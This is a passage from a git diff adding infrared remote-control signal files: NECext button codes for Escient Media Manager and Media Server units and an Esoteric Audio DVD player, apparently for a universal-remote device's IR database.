00 00 +# +name: MENU_-_PHOTOS +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 34 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 41 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 42 00 00 00 +# +name: PLAYMODE-NORMAL +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 43 00 00 00 +# +name: PLAYMODE-RPT_TRACK +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 44 00 00 00 +# +name: PLAYMODE-RPT_TITLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 45 00 00 00 +# +name: PLAYMODE-RPT_GROUP +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 46 00 00 00 +# +name: PLAYMODE-RAND_TITLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 47 00 00 00 +# +name: PLAYMODE-RAND_GROUP +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 48 00 00 00 +# +name: VIEW_BY_ARTIST +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 49 00 00 00 +# +name: VIEW_BY_TITLE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4A 00 00 00 +# +name: VIEW_BY_SONG +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4B 00 00 00 +# +name: VIEW_BY_COVER +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4C 00 00 00 +# +name: PLAYER +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 02 16 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir new file mode 100644 index 000000000..5df2345bb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 09 00 00 00 +# +name: CH/PAGE_+ +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 0D 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 11 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 13 00 00 00 +# +name: MENU_-_HOME +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 14 00 00 00 +# +name: OPENGLOBE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 15 00 00 00 +# +name: TOGGLE/EXIT +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 15 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 15 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 16 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 17 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 17 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 1A 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 1B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 21 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 22 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 22 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 25 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 26 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 28 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 29 00 00 00 +# +name: MENU_-_RHAPSODY +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 2A 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 2B 00 00 00 +# +name: MENU_-_MUSIC +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 2C 00 00 00 +# +name: JUKEBOX_ADD +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 2D 00 00 00 +# +name: PLAY_FAVORITES +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 2E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 2F 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 30 00 00 00 +# +name: MACRO +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 31 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 33 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 41 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 42 00 00 00 +# +name: PLAYMODE-NORMAL +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 43 00 00 00 +# +name: PLAYMODE-RPT_TRACK +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 44 00 00 00 +# +name: PLAYMODE-RPT_TITLE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 45 00 00 00 +# +name: PLAYMODE-RPT_GROUP +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 46 00 00 00 +# +name: PLAYMODE-RAND_TITLE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 47 00 00 00 +# +name: PLAYMODE-RAND_GROUP +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 48 00 00 00 +# +name: VIEW_BY_ARTIST +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 49 00 00 00 +# +name: VIEW_BY_TITLE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4A 00 00 00 +# +name: VIEW_BY_SONG +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4B 00 00 00 +# +name: VIEW_BY_COVER +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4C 00 00 00 +# +name: PLAYER +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir new file mode 100644 index 000000000..cdb0f359e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir @@ -0,0 +1,464 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 09 00 00 00 +# +name: Q +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 22 00 00 00 +# +name: W +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 23 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 24 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 25 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 26 00 00 00 +# +name: Y +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 27 00 00 00 +# +name: U +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 28 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 29 00 00 00 +# +name: O +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 2A 00 00 00 +# +name: P +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 2B 00 00 00 +# +name: CAPS_LOCK_ON +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 31 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 32 00 00 00 +# +name: S +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 33 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 34 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 35 00 00 00 +# +name: G +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 36 00 00 00 +# +name: H +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 37 00 00 00 +# +name: J +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 38 00 00 00 +# +name: K +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 39 00 00 00 +# +name: L +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 3A 00 00 00 +# +name: CAPS_LOCK_OFF +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 41 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 42 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 43 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 44 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 45 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 46 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 47 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 48 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 80 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 81 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 82 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 83 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 85 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 86 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 87 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 88 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: 89 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: A8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: A9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: AA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: AB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: B1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: B2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: B3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: B4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: B5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: B9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: BA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: C1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: C2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: C3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: C4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: C5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: C6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: C7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 21 B8 00 00 +command: C8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir new file mode 100644 index 000000000..59624f0fb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir @@ -0,0 +1,434 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 09 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0C 00 00 00 +# +name: CH/PAGE_UP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0D 00 00 00 +# +name: CH/PAGE_+ +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 11 00 00 00 +# +name: SETUP/SLEEP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 12 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 12 00 00 00 +# +name: MENU_-_SETUP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 12 00 00 00 +# +name: OPTION/INPUT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 13 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 14 00 00 00 +# +name: GUIDE_TOGGLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 14 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 15 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 17 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 18 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 18 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 19 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 19 00 00 00 +# +name: ARROW_SELECT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1B 00 00 00 +# +name: MENU/VIEW +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1C 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 20 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 21 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 25 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 26 00 00 00 +# +name: MENU_-_MOVIES +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 26 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 27 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 28 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 29 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2A 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2B 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2B 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2C 00 00 00 +# +name: ADD +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2D 00 00 00 +# +name: ADD_TO_FAVORITES +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2D 00 00 00 +# +name: JUKEBOX_PLAY +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2F 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 30 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 32 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 33 00 00 00 +# +name: MENU_-_PHOTOS +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 34 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 41 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 42 00 00 00 +# +name: PLAYMODE-NORMAL +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 43 00 00 00 +# +name: PLAYMODE-RPT_TRACK +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 44 00 00 00 +# +name: PLAYMODE-RPT_TITLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 45 00 00 00 +# +name: PLAYMODE-RPT_GROUP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 46 00 00 00 +# +name: PLAYMODE-RAND_TITLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 47 00 00 00 +# +name: PLAYMODE-RAND_GROUP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 48 00 00 00 +# +name: VIEW_BY_ARTIST +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 49 00 00 00 +# +name: VIEW_BY_TITLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4A 00 00 00 +# +name: VIEW_BY_SONG +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4B 00 00 00 +# +name: VIEW_BY_COVER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4C 00 00 00 +# +name: PLAYER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir new file mode 100644 index 000000000..36b4e1bdf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 8A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir new file mode 100644 index 000000000..d14f4175b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 09 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0B 00 00 00 +# +name: CH/PAGE_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0E 00 00 00 +# +name: PWR +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0F 00 00 00 +# +name: MODE/LAST +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 11 00 00 00 +# +name: DISC_FLIP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 16 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 17 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 19 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1B 00 00 00 +# +name: REWIND/BACKSPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: FF/SPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 25 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2B 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2C 00 00 00 +# +name: PLAY_(FAVORITES) +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2E 00 00 00 +# +name: MACRO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 31 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir new file mode 100644 index 000000000..15338c528 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 08 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0C 00 00 00 +# +name: CH/PAGE_UP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0D 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 10 00 00 00 +# +name: SETUP/SLEEP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 12 00 00 00 +# +name: OPTION/INPUT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 14 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 18 00 00 00 +# +name: ARROW_SELECT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1A 00 00 00 +# +name: MENU/VIEW +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 21 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 26 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 27 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2A 00 00 00 +# +name: ADD +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2F 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 30 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 32 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir b/assets/resources/infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir new file mode 100644 index 000000000..1e021e20e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 00 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 01 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 02 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 03 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 04 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 06 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 07 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 09 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 0A 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 0B 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 0C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 0D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 20 00 00 +command: 0E 00 00 